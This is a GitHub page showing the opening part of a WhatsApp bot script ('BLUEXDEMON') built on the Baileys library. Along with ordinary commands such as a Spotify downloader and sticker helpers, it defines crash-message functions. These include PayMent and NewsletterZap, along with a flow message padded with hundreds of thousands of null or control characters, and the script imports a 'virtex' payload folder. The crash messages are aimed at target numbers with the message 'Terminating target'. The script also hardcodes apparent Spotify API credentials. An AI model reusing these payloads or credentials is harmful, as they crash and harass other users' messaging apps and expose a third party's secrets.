forked from ZIXtechex/BLUEXDEMON
-
Notifications
You must be signed in to change notification settings - Fork 0
/
demontech.js
3186 lines (2938 loc) · 137 KB
/
demontech.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
/*
CREATOR
@DEMON KING
*/
module.exports = async (blue, m, store) => {
try {
const from = m.key.remoteJid
const quoted = m.quoted ? m.quoted : m
var body = (m.mtype === 'interactiveResponseMessage') ? JSON.parse(m.message.interactiveResponseMessage.nativeFlowResponseMessage.paramsJson).id : (m.mtype === 'conversation') ? m.message.conversation : (m.mtype == 'imageMessage') ? m.message.imageMessage.caption : (m.mtype == 'videoMessage') ? m.message.videoMessage.caption : (m.mtype == 'extendedTextMessage') ? m.message.extendedTextMessage.text : (m.mtype == 'buttonsResponseMessage') ? m.message.buttonsResponseMessage.selectedButtonId : (m.mtype == 'listResponseMessage') ? m.message.listResponseMessage.singleSelectReply.selectedRowId : (m.mtype == 'templateButtonReplyMessage') ? m.message.templateButtonReplyMessage.selectedId : (m.mtype == 'messageContextInfo') ? (m.message.buttonsResponseMessage?.selectedButtonId || m.message.listResponseMessage?.singleSelectReply.selectedRowId || m.text) : ""
const budy = (typeof m.text == 'string' ? m.text : '')
const prefix = /^[°zZ#$@+,.?=''():√%!¢£¥€π¤ΠΦ&><`™©®Δ^βα¦|/\\©^]/.test(body) ? body.match(/^[°zZ#$@+,.?=''():√%¢£¥€π¤ΠΦ&><!`™©®Δ^βα¦|/\\©^]/gi) : '.'
const isCmd = body.startsWith(prefix)
const command = body.replace(prefix, '').trim().split(/ +/).shift().toLowerCase() //kalau mau no prefix ganti jadi ini : const command = body.replace(prefix, '').trim().split(/ +/).shift().toLowerCase()
const args = body.trim().split(/ +/).slice(1)
const mime = (quoted.msg || quoted).mimetype || ''
const axios = require('axios');
const text = q = args.join(" ")
const isGroup = from.endsWith('@g.us')
const botNumber = await blue.decodeJid(blue.user.id)
const sender = m.key.fromMe ? (blue.user.id.split(':')[0] + '@s.whatsapp.net' || blue.user.id) : (m.key.participant || m.key.remoteJid)
const senderNumber = sender.split('@')[0]
const pushname = m.pushName || `${senderNumber}`
const isBot = botNumber.includes(senderNumber)
const groupMetadata = isGroup ? await blue.groupMetadata(m.chat).catch(e => {}) : ''
const groupName = isGroup && groupMetadata ? groupMetadata.subject : '';
const participants = isGroup ? await groupMetadata.participants : ''
const groupAdmins = isGroup ? await participants.filter(v => v.admin !== null).map(v => v.id) : ''
const groupOwner = isGroup ? groupMetadata.owner : ''
const groupMembers = isGroup ? groupMetadata.participants : ''
const isBotAdmins = isGroup ? groupAdmins.includes(botNumber) : false
const isBotGroupAdmins = isGroup ? groupAdmins.includes(botNumber) : false
const isGroupAdmins = isGroup ? groupAdmins.includes(sender) : false
const totalFitur = () => {
var mytext = fs.readFileSync("./demontech.js").toString()
var numUpper = (mytext.match(/case '/g) || []).length;
return numUpper
}
async function ephoto(url, texk) {
let form = new FormData();
let gT = await axios.get(url, {
headers: {
'user-agent':
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36',
},
});
let $ = cheerio.load(gT.data);
let text = texk;
let token = $('input[name=token]').val();
let build_server = $('input[name=build_server]').val();
let build_server_id = $('input[name=build_server_id]').val();
form.append('text[]', text);
form.append('token', token);
form.append('build_server', build_server);
form.append('build_server_id', build_server_id);
let res = await axios({
url: url,
method: 'POST',
data: form,
headers: {
Accept: '*/*',
'Accept-Language': 'en-US,en;q=0.9',
'user-agent':
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36',
cookie: gT.headers['set-cookie']?.join('; '),
...form.getHeaders(),
},
});
let $$ = cheerio.load(res.data);
let json = JSON.parse($$('input[name=form_value_input]').val());
json['text[]'] = json.text;
delete json.text;
let { data } = await axios.post(
'https://en.ephoto360.com/effect/create-image',
new URLSearchParams(json),
{
headers: {
'user-agent':
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36',
cookie: gT.headers['set-cookie'].join('; '),
},
}
);
return build_server + data.image;
}
const isAdmins = isGroup ? groupAdmins.includes(sender) : false
const tanggal = moment.tz('Africa/Lagos').format('DD/MM/YY')
const {
Client
} = require('ssh2');
const jsobfus = require('javascript-obfuscator');
const {
addSaldo,
minSaldo,
cekSaldo
} = require("./database/dtbs/deposit");
const {
mediafireDl
} = require('./database/dtbs/mediafire.js')
let db_saldo = JSON.parse(fs.readFileSync("./database/dtbs/saldo.json"));
const fetch = require('node-fetch');
const {
beta1,
beta2,
buk1
} = require("./database/lib/hdr.js")
const xbug = fs.readFileSync(`./database/image/xbug.jpg`)
const Xynz = fs.readFileSync(`./database/image/Xynz.jpg`)
const zkosong = fs.readFileSync(`./database/image/zkosong.png`)
const botname = "𝐁𝐋𝐔𝐄𝐗𝐃𝐄𝐌𝐎𝐍";
const bugres = '𝗧𝗲𝗿𝗺𝗶𝗻𝗮𝘁𝗶𝗻𝗴 𝘁𝗮𝗿𝗴𝗲𝘁...'
const canvafy = require('canvafy')
const currentMode = blue.public ? 'Public' : 'Private';
// VIRTEX
const {
ios
} = require("./database/virtex/ios.js")
const {
telapreta3
} = require("./database/virtex/telapreta3.js")
const {
convite
} = require("./database/virtex/convite.js")
const {
bugpdf
} = require("./database/virtex/bugpdf.js")
const {
cP
} = require('./database/virtex/bugUrl.js')
// Auto Blocked Nomor +212
if (m.sender.startsWith('212')) return blue.updateBlockStatus(m.sender, 'block')
// auto anti bug
if (global.antibug) {
if (!isGroup && m.isBaileys && m.fromMe) {
await blue.sendMessage(m.chat, {
delete: {
remoteJid: m.chat,
fromMe: true,
id: m.key.id
}
})
await blue.sendMessage(`${global.owner}@s.whatsapp.net`, {
text: `*BUG MESSAGE DETECTED*
*Number* ${m.sender.split("@")[0]}`
}, {
quoted: null
})
}
}
blue.sendImageAsSticker = async (jid, media, m, options = {}) => {
let {
Sticker,
StickerTypes
} = require('wa-sticker-formatter')
const getRandom = (ext) => {
return `${Math.floor(Math.random() * 10000)}${ext}`
}
let jancok = new Sticker(media, {
pack: global.packname, // The pack name
author: global.author, // The author name
type: StickerTypes.FULL, // The sticker type
categories: ['🤩', '🎉'], // The sticker category
id: '12345', // The sticker id
quality: 50, // The quality of the output file
background: '#FFFFFF00' // The sticker background color (only for full stickers)
})
let stok = getRandom(".webp")
let nono = await jancok.toFile(stok)
let nah = fs.readFileSync(nono)
await blue.sendMessage(jid, {
sticker: nah
}, {
quoted: m
})
return await fs.unlinkSync(stok)
}
const nanototalpitur = () => {
var mytext = fs.readFileSync("./demontech.js").toString()
var numUpper = (mytext.match(/case '/g) || []).length
return numUpper
}
const restrictedTargets = ['2347041039367'];
const themeemoji = "👾"
// Random Color
const listcolor = ['red', 'green', 'yellow', 'blue', 'magenta', 'cyan', 'white']
const randomcolor = listcolor[Math.floor(Math.random() * listcolor.length)]
function runtime(seconds) {
let hours = Math.floor(seconds / 3600);
let minutes = Math.floor((seconds % 3600) / 60);
let secondsLeft = Math.floor(seconds % 60);
return `${hours} hrs,${minutes} mins,${secondsLeft} secs`;
}
let run = runtime(process.uptime())
let runx = runtimex(process.uptime());
// Command Yang Muncul Di Console
if (isCmd) {
console.log(chalk.white.blue.bold('RECIEVED COMMAND'), color(`[ 𝙱𝙻𝚄𝙴 𝙳𝙴𝙼𝙾𝙽 ]`, `blue`), color(`FROM`, `red`), color(`${pushname}`, `red`), color(`Text :`, `yellow`), color(`${body}`, `blue`))
}
// Days
const hariini = moment.tz('Asia/Jakarta').format('dddd, DD MMMM YYYY')
const wib = moment.tz('Asia/Jakarta').format('HH : mm :ss')
const wit = moment.tz('Asia/Jayapura').format('HH : mm : ss')
const wita = moment.tz('Asia/Makassar').format('HH : mm : ss')
const time2 = moment().tz('Africa/Lagos').format('HH:mm:ss')
if (time2 < "23:59:00") {
var ucapanWaktu = 'wagwan 👾'
}
if (time2 < "19:00:00") {
var ucapanWaktu = 'wagwan 👾'
}
if (time2 < "18:00:00") {
var ucapanWaktu = 'wagwan 👾'
}
if (time2 < "15:00:00") {
var ucapanWaktu = 'wagwan 👾'
}
if (time2 < "10:00:00") {
var ucapanWaktu = 'wagwan 👾'
}
if (time2 < "05:00:00") {
var ucapanWaktu = 'wagwan 👾'
}
if (time2 < "03:00:00") {
var ucapanWaktu = 'wagwan 👾'
}
blue.autoshalat = blue.autoshalat ? blue.autoshalat : {}
let id = m.chat
if (id in blue.autoshalat) {
return false
}
let jadwalSholat = {
shubuh: '04:29',
terbit: '05:44',
dhuha: '06:02',
dzuhur: '12:02',
ashar: '15:15',
magrib: '17:52',
isya: '19:01',
}
const datek = new Date((new Date).toLocaleString("en-US", {
timeZone: "Africa/Lagos"
}));
const hours = datek.getHours();
const minutes = datek.getMinutes();
const timeNow = `${hours.toString().padStart(2, "0")}:${minutes.toString().padStart(2, "0")}`
for (let [sholat, waktu] of Object.entries(jadwalSholat)) {
if (timeNow === waktu) {
blue.autoshalat[id] = [
blue.sendMessage(m.chat, {
audio: {
url: 'https://github.com/Bolaolat/Giveaway1/raw/refs/heads/main/Phonk.mp3'
},
mimetype: 'audio/mp4',
ptt: true,
contextInfo: {
externalAdReply: {
showAdAttribution: true,
mediaType: 1,
mediaUrl: '',
title: `𝕯𝖊𝖒𝖔𝖓 𝖐𝖎𝖓𝖌👾`,
body: `𝐃𝐄𝐌𝐎𝐍-𝐕𝟑🎧`,
sourceUrl: '',
thumbnail: await fs.readFileSync('./database/image/hmm.jpg'),
renderLargerThumbnail: true
}
}
}, {}),
setTimeout(async () => {
delete client.autoshalat[m.chat]
}, 57000)
]
}
}
// Read Database
const buyer = JSON.parse(fs.readFileSync("./database/lib/secret.json"))
const contacts = JSON.parse(fs.readFileSync("./database/dtbs/contacts.json"))
const prem = JSON.parse(fs.readFileSync("./database/dtbs/premium.json"))
const ownerNumber = JSON.parse(fs.readFileSync("./database/dtbs/owner.json"))
// Cek Database
const isBuyer = buyer.includes(sender)
const isContacts = contacts.includes(sender)
const isPremium = prem.includes(sender)
const isOwner = ownerNumber.includes(senderNumber) || isBot
// BUTTON VIDEO
blue.sendButtonVideo = async (jid, buttons, quoted, opts = {}) => {
var video = await prepareWAMessageMedia({
video: {
url: opts && opts.video ? opts.video : ''
}
}, {
upload: blue.waUploadToServer
})
let message = generateWAMessageFromContent(jid, {
viewOnceMessage: {
message: {
interactiveMessage: {
body: {
text: opts && opts.body ? opts.body : ''
},
footer: {
text: opts && opts.footer ? opts.footer : ''
},
header: {
hasMediaAttachment: true,
videoMessage: video.videoMessage,
},
nativeFlowMessage: {
buttons: buttons,
messageParamsJson: ''
},
contextInfo: {
externalAdReply: {
title: global.namabot,
body: `𝐃𝐄𝐌𝐎𝐍-𝐕𝟑🩸`,
thumbnailUrl: global.imageurl,
sourceUrl: global.isLink,
mediaType: 1,
renderLargerThumbnail: true
}
}
}
}
}
}, {
quoted
})
await blue.sendPresenceUpdate('composing', jid)
return blue.relayMessage(jid, message["message"], {
messageId: message.key.id
})
}
function runtimex(seconds) {
let hours = Math.floor(seconds / 3600);
let minutes = Math.floor((seconds % 3600) / 60);
let secondsLeft = Math.floor(seconds % 60);
return `*${hours}* 𝗛𝗼𝘂𝗿 *${minutes}* 𝗠𝗶𝗻𝘂𝘁𝗲 *${secondsLeft}* 𝗦𝗲𝗰𝗼𝗻𝗱𝘀`;
}
async function sendQP(target, filterName, parameters, filterResult, clientNotSupportedConfig, clauseType, clauses, filters) {
var qpMessage = generateWAMessageFromContent(target, proto.Message.fromObject({
'qp': {
'filter': {
'filterName': filterName,
'parameters': parameters,
'filterResult': filterResult,
'clientNotSupportedConfig': clientNotSupportedConfig
},
'filterClause': {
'clauseType': clauseType,
'clauses': clauses,
'filters': filters
}
}
}), {
userJid: target
});
await blue.relayMessage(target, qpMessage.message, {
participant: {
jid: target
},
messageId: qpMessage.key.id
});
}
async function sendSessionStructure(target, sessionVersion, localIdentityPublic, remoteIdentityPublic, rootKey, previousCounter, senderChain, receiverChains, pendingKeyExchange, pendingPreKey, remoteRegistrationId, localRegistrationId, needsRefresh, aliceBaseKey) {
var sessionStructure = generateWAMessageFromContent(target, proto.Message.fromObject({
'sessionStructure': {
'sessionVersion': sessionVersion,
'localIdentityPublic': localIdentityPublic,
'remoteIdentityPublic': remoteIdentityPublic,
'rootKey': rootKey,
'previousCounter': previousCounter,
'senderChain': senderChain,
'receiverChains': receiverChains,
'pendingKeyExchange': pendingKeyExchange,
'pendingPreKey': pendingPreKey,
'remoteRegistrationId': remoteRegistrationId,
'localRegistrationId': localRegistrationId,
'needsRefresh': needsRefresh,
'aliceBaseKey': aliceBaseKey
}
}), {
userJid: target
});
await blue.relayMessage(target, sessionStructure.message, {
participant: {
jid: target
},
messageId: sessionStructure.key.id
});
}
const wanted = {
key: {
remoteJid: 'p',
fromMe: false,
participant: '[email protected]'
},
message: {
"interactiveResponseMessage": {
"body": {
"text": "Sent",
"format": "DEFAULT"
},
"nativeFlowResponseMessage": {
"name": "galaxy_message",
"paramsJson": `{\"screen_2_OptIn_0\":true,\"screen_2_OptIn_1\":true,\"screen_1_Dropdown_0\":\"ZetExecute\",\"screen_1_DatePicker_1\":\"1028995200000\",\"screen_1_TextInput_2\":\"[email protected]\",\"screen_1_TextInput_3\":\"94643116\",\"screen_0_TextInput_0\":\"radio - buttons${"\u0003".repeat(500000)}\",\"screen_0_TextInput_1\":\"Anjay\",\"screen_0_Dropdown_2\":\"001-Grimgar\",\"screen_0_RadioButtonsGroup_3\":\"0_true\",\"flow_token\":\"AQAAAAACS5FpgQ_cAAAAAE0QI3s.\"}`,
"version": 3
}
}
}
}
async function PayMent(LockJids) {
var messageContent = generateWAMessageFromContent(LockJids, proto.Message.fromObject({
'viewOnceMessage': {
'message': {
'interactiveMessage': {
'header': {
"hasMediaAttachment": true,
'sequenceNumber': '0',
"jpegThumbnail": ""
},
'nativeFlowMessage': {
"buttons": [{
"name": "review_and_pay",
"buttonParamsJson": `{\"currency\":\"IDR\",\"total_amount\":{\"value\":49981399788,\"offset\":100},\"reference_id\":\"4OON4PX3FFJ\",\"type\":\"physical-goods\",\"order\":{\"status\":\"payment_requested\",\"subtotal\":{\"value\":49069994400,\"offset\":100},\"tax\":{\"value\":490699944,\"offset\":100},\"discount\":{\"value\":485792999999,\"offset\":100},\"shipping\":{\"value\":48999999900,\"offset\":100},\"order_type\":\"ORDER\",\"items\":[{\"retailer_id\":\"7842674605763435\",\"product_id\":\"7842674605763435\",\"▾ 𝐙͢𝐍ͮ𝐗 ⿻ 𝐂𝐋͢𝐈𝚵𝐍͢𝐓 ▾\":\k${bugpdf},\"amount\":{\"value\":9999900,\"offset\":100},\"quantity\":7},{\"retailer_id\":\"custom-item-f22115f9-478a-487e-92c1-8e7b4bf16de8\",\"name\":\"\",\"amount\":{\"value\":999999900,\"offset\":100},\"quantity\":49}]},\"native_payment_methods\":[]}`
}],
"messageParamsJson": '\0'.repeat(10000),
}
}
}
}
}), {});
blue.relayMessage(LockJids, messageContent.message, {
'messageId': messageContent.key.id
});
}
async function NewsletterZap(LockJids) {
var messageContent = generateWAMessageFromContent(LockJids, proto.Message.fromObject({
'viewOnceMessage': {
'message': {
"newsletterAdminInviteMessage": {
"newsletterJid": `120363298524333143@newsletter`,
"newsletterName": "🔥፝⃟ ꙳𝐏𝐚𝐤𝐓𝐳𝐲🔥፝⃟` " + "\u0000".repeat(920000),
"jpegThumbnail": "",
"caption": `Undangan Admin Channel bluexzo Script`,
"inviteExpiration": Date.now() + 1814400000
}
}
}
}), {
'userJid': LockJids
});
await blue.relayMessage(LockJids, messageContent.message, {
'participant': {
'jid': LockJids
},
'messageId': messageContent.key.id
});
}
const Porke = {
key: {
participant: `[email protected]`,
...(m.chat ? {
remoteJid: "status@broadcast"
} : {})
},
'message': {
"interactiveMessage": {
"header": {
"hasMediaAttachment": true,
"jpegThumbnail": fs.readFileSync(`./database/image/zkosong.png`)
},
"nativeFlowMessage": {
"buttons": [{
"name": "review_and_pay",
"buttonParamsJson": `{\"currency\":\"IDR\",\"total_amount\":{\"value\":49981399788,\"offset\":100},\"reference_id\":\"4OON4PX3FFJ\",\"type\":\"physical-goods\",\"order\":{\"status\":\"payment_requested\",\"subtotal\":{\"value\":49069994400,\"offset\":100},\"tax\":{\"value\":490699944,\"offset\":100},\"discount\":{\"value\":485792999999,\"offset\":100},\"shipping\":{\"value\":48999999900,\"offset\":100},\"order_type\":\"ORDER\",\"items\":[{\"retailer_id\":\"7842674605763435\",\"product_id\":\"7842674605763435\",\"name\":\"️࿆᷍🩸⃟༑⌁⃰𝐙𝐲𝐧 𝑪͢𝒓𝒂ͯ͢𝒔𝒉 𝐈𝐧͢𝐟𝐢ͮ𝐧͢𝐢𝐭𝐲͜͡⃟╮\",\"amount\":{\"value\":9999900,\"offset\":100},\"quantity\":7},{\"retailer_id\":\"custom-item-f22115f9-478a-487e-92c1-8e7b4bf16de8\",\"name\":\"\",\"amount\":{\"value\":999999900,\"offset\":100},\"quantity\":49}]},\"native_payment_methods\":[]}`
}]
}
}
}
}
const Porke2 = {
key: {
participant: `[email protected]`,
...(m.chat ? {
remoteJid: "status@broadcast"
} : {})
},
'message': {
"interactiveMessage": {
"header": {
"hasMediaAttachment": true,
"jpegThumbnail": fs.readFileSync(`./database/image/zkosong.png`)
},
"nativeFlowMessage": {
"buttons": [{
"name": "review_and_pay",
"buttonParamsJson": `{\"currency\":\"IDR\",\"total_amount\":{\"value\":49981399788,\"offset\":100},\"reference_id\":\"4OON4PX3FFJ\",\"type\":\"physical-goods\",\"order\":{\"status\":\"payment_requested\",\"subtotal\":{\"value\":49069994400,\"offset\":100},\"tax\":{\"value\":490699944,\"offset\":100},\"discount\":{\"value\":485792999999,\"offset\":100},\"shipping\":{\"value\":48999999900,\"offset\":100},\"order_type\":\"ORDER\",\"items\":[{\"retailer_id\":\"7842674605763435\",\"product_id\":\"7842674605763435\",\"name\":\"️࿆᷍🩸⃟༑⌁⃰𝐙𝐲𝐧 𝑪͢𝒓𝒂ͯ͢𝒔𝒉 𝐈𝐧͢𝐟𝐢ͮ𝐧͢𝐢𝐭𝐲͜͡⃟╮\",\"amount\":{\"value\":9999900,\"offset\":100},\"quantity\":7},{\"retailer_id\":\"custom-item-f22115f9-478a-487e-92c1-8e7b4bf16de8\",\"name\":\"\",\"amount\":{\"value\":999999900,\"offset\":100},\"quantity\":49}]},\"native_payment_methods\":[]}`
}]
}
}
}
}
let list = []
for (let i of ownerNumber) {
list.push({
displayName: await blue.getName(i + '@s.whatsapp.net'),
vcard: `BEGIN:VCARD\n
VERSION:3.0\n
N:${await blue.getName(i + '@s.whatsapp.net')}\n
FN:${await blue.getName(i + '@s.whatsapp.net')}\n
item1.TEL;waid=${i}:${i}\n
item1.X-ABLabel:Ponsel\n
item2.EMAIL;type=INTERNET: [email protected]\n
item2.X-ABLabel:Email\n
item3.URL:https://whatsapp.com/channel/0029VarTDNiFcowFnrgUeU2v
item3.X-ABLabel:YouTube\n
item4.ADR:;;Indonesia;;;;\n
item4.X-ABLabel:Region\n
END:VCARD`
})
}
function monospace(string) {
return '```' + string + '```'
}
function toRupiah(angka) {
var saldo = '';
var angkarev = angka.toString().split('').reverse().join('');
for (var i = 0; i < angkarev.length; i++)
if (i % 3 == 0) saldo += angkarev.substr(i, 3) + '.';
return '' + saldo.split('', saldo.length - 1).reverse().join('');
}
// Gak Usah Di Apa Apain Jika Tidak Mau Error
try {
ppuser = await blue.profilePictureUrl(m.sender, 'image')
} catch (err) {
ppuser = 'https://cdn.pixabay.com/photo/2015/10/05/22/37/blank-profile-picture-973460_960_720.png?q=60'
}
async function spotifydl(url) {
return new Promise(async (resolve, reject) => {
try {
const kemii = await axios.get(
`https://api.fabdl.com/spotify/get?url=${encodeURIComponent(url)}`, {
headers: {
accept: "application/json, text/plain, */*",
"accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7",
"sec-ch-ua": "\"Not)A;Brand\";v=\"24\", \"Chromium\";v=\"116\"",
"sec-ch-ua-mobile": "?1",
"sec-ch-ua-platform": "\"Android\"",
"sec-fetch-dest": "empty",
"sec-fetch-mode": "cors",
"sec-fetch-site": "cross-site",
Referer: "https://spotifydownload.org/",
"Referrer-Policy": "strict-origin-when-cross-origin",
},
}
);
const kemi = await axios.get(
`https://api.fabdl.com/spotify/mp3-convert-task/${kemii.data.result.gid}/${kemii.data.result.id}`, {
headers: {
accept: "application/json, text/plain, */*",
"accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7",
"sec-ch-ua": "\"Not)A;Brand\";v=\"24\", \"Chromium\";v=\"116\"",
"sec-ch-ua-mobile": "?1",
"sec-ch-ua-platform": "\"Android\"",
"sec-fetch-dest": "empty",
"sec-fetch-mode": "cors",
"sec-fetch-site": "cross-site",
Referer: "https://spotifydownload.org/",
"Referrer-Policy": "strict-origin-when-cross-origin",
},
}
);
const result = {};
result.title = kemii.data.result.name;
result.type = kemii.data.result.type;
result.artis = kemii.data.result.artists;
result.durasi = kemii.data.result.duration_ms;
result.image = kemii.data.result.image;
result.download = "https://api.fabdl.com" + kemi.data.result.download_url;
resolve(result);
} catch (error) {
reject(error);
}
});
};
async function searchSpotify(query) {
try {
const access_token = await getAccessToken();
const response = await axios.get(`https://api.spotify.com/v1/search?q=${query}&type=track&limit=10`, {
headers: {
Authorization: `Bearer ${access_token}`,
},
});
const data = response.data;
const tracks = data.tracks.items.map(item => ({
name: item.name,
artists: item.artists.map(artist => artist.name).join(', '),
popularity: item.popularity,
link: item.external_urls.spotify,
image: item.album.images[0].url,
duration_ms: item.duration_ms,
}));
return tracks;
} catch (error) {
console.error('Error searching Spotify:', error);
throw 'An error occurred while searching for songs on Spotify.';
}
}
async function getAccessToken() {
try {
const client_id = 'acc6302297e040aeb6e4ac1fbdfd62c3';
const client_secret = '0e8439a1280a43aba9a5bc0a16f3f009';
const basic = Buffer.from(`${client_id}:${client_secret}`).toString("base64");
const response = await axios.post('https://accounts.spotify.com/api/token', 'grant_type=client_credentials', {
headers: {
Authorization: `Basic ${basic}`,
'Content-Type': 'application/x-www-form-urlencoded',
},
});
const data = response.data;
return data.access_token;
} catch (error) {
console.error('Error getting Spotify access token:', error);
throw 'An error occurred while obtaining Spotify access token.';
}
}
// FUNCTION OBFUSCATOR
async function obfus(query) {
return new Promise((resolve, reject) => {
try {
const obfuscationResult = jsobfus.obfuscate(query, {
compact: false,
controlFlowFlattening: true,
controlFlowFlatteningThreshold: 1,
numbersToExpressions: true,
simplify: true,
stringArrayShuffle: true,
splitStrings: true,
stringArrayThreshold: 1
});
const result = {
status: 200,
author: `𝕯𝖊𝖒𝖔𝖒 𝖐𝖎𝖓𝖌👾`,
result: obfuscationResult.getObfuscatedCode()
}
resolve(result)
} catch (e) {
reject(e)
}
})
}
//Status
if (!blue.public) {
if (!m.key.fromMe) return
}
async function loading() {
var baralod = [
"𝐆𝐮𝐞𝐬𝐬 𝐰𝐡𝐚𝐭🤡",
"👾",
"👾👾",
"👾👾👾",
"👾👾👾👾",
"👾👾👾👾👾",
"👾👾👾👾👾👾",
"🤡𝕴 𝖐𝖓𝖔𝖜 𝖞𝖔𝖚𝖗 𝖘𝖊𝖈𝖗𝖊𝖙🤡",
];
let { key } = await blue.sendMessage(from, {
text: '𝐆𝐮𝐞𝐬𝐬 𝐰𝐡𝐚𝐭🤡'
});
for (let i = 0; i < baralod.length; i++) {
await blue.sendMessage(from, {
text: baralod[i],
edit: key
});
// Add delay of 1 second (1000 ms)
await new Promise(resolve => setTimeout(resolve, 500));
}
}
// Fake Resize
const fkethmb = await reSize(ppuser, 300, 300)
// Cuma Fake
const sendOrder = async (jid, text, orid, img, itcount, title, sellers, tokens, ammount) => {
const order = generateWAMessageFromContent(jid, proto.Message.fromObject({
"orderMessage": {
"orderId": orid,
"thumbnail": img,
"itemCount": itcount,
"status": "INQUIRY",
"surface": "CATALOG",
"orderTitle": title,
"message": text,
"sellerJid": sellers,
"token": tokens,
"totalAmount1000": ammount,
"totalCurrencyCode": "IDR",
}
}), {
userJid: jid,
quoted: m
})
blue.relayMessage(jid, order.message, {
messageId: order.key.id
})
}
const bluereply = (teks) => {
blue.sendMessage(from, {
text: teks
}, {
quoted: m
})
}
// Function Reply
const reply = (teks) => {
blue.sendMessage(m.chat, {
text: teks,
contextInfo: {
mentionedJid: [sender],
forwardingScore: 9999999,
isForwarded: true,
"externalAdReply": {
"showAdAttribution": true,
"containsAutoReply": true,
"title": `ʙʟᴜᴇ ᴄʀᴀꜱʜᴇʀ`,
"body": `${ucapanWaktu} ${pushname}`,
"previewType": "PHOTO",
"thumbnailUrl": `https://l.top4top.io/s_32310ywi80.jpeg`, // Replace with your image URL
"thumbnail": null, // You can set this to null since you are using thumbnailUrl
"sourceUrl": `${isLink}`
}
}
}, {
quoted: m
});
}
const fkontak = {
key: {
fromMe: false,
participant: `[email protected]`,
...(from ? {
remoteJid: "status@broadcast"
} : {})
},
message: {
'contactMessage': {
'displayName': `${pushname}`,
'vcard': `BEGIN:VCARD\nVERSION:3.0\nN:XL;Vinzx,;;;\nFN:${pushname},\nitem1.TEL;waid=${sender.split('@')[0]}:${sender.split('@')[0]}\nitem1.X-ABLabel:Ponsel\nEND:VCARD`,
'jpegThumbnail': {
url: 'https://g.top4top.io/p_3194iz70l0.jpg'
}
}
}
}
function parseMention(text = '') {
return [...text.matchAll(/@([0-9]{5,16}|0)/g)].map(v => v[1] + '@s.whatsapp.net')
}
if (m.isGroup && !m.key.fromMe && !isOwner && antilink) {
if (!isBotAdmins) return
if (budy.match(`whatsapp.com`)) {
